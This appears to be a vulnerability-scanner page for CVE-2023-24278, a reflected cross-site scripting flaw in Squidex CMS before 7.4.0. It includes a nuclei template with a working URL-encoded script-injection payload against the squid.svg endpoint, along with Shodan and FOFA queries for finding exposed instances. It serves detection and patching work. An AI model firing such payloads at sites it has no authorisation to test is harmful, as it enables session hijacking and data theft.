Squidex <7.4.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

Squidex before 7.4.0 contains a cross-site scripting vulnerability via the squid.svg endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to Squidex CMS version 7.4.0 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.do…
Positive when: contains "<script>alert(document.domain)</script>" and "looking for!" AND contains in header "image/svg+xml" AND status 200

Run it with nuclei: nuclei -id CVE-2023-24278 -u <target>

The full check

id: CVE-2023-24278

info:
  name: Squidex <7.4.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Squidex before 7.4.0 contains a cross-site scripting vulnerability via the squid.svg endpoint. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Squidex CMS version 7.4.0 or later to mitigate this vulnerability.
  reference:
    - https://census-labs.com/news/2023/03/16/reflected-xss-vulnerabilities-in-squidex-squidsvg-endpoint/
    - https://www.openwall.com/lists/oss-security/2023/03/16/1
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24278
    - https://github.com/karimhabush/cyberowl
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24278
    cwe-id: CWE-79
    epss-score: 0.02908
    epss-percentile: 0.87095
    cpe: cpe:2.3:a:squidex.io:squidex:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: squidex.io
    product: squidex
    shodan-query: http.favicon.hash:1099097618
    fofa-query: icon_hash=1099097618
  tags: cve2023,cve,xss,squidex,cms,unauth,squidex.io,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/squid.svg?title=Not%20Found&text=This%20is%20not%20the%20page%20you%20are%20looking%20for!&background=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3Cimg%20src=%22&small"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "looking for!"
        condition: and

      - type: word
        part: header
        words:
          - "image/svg+xml"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from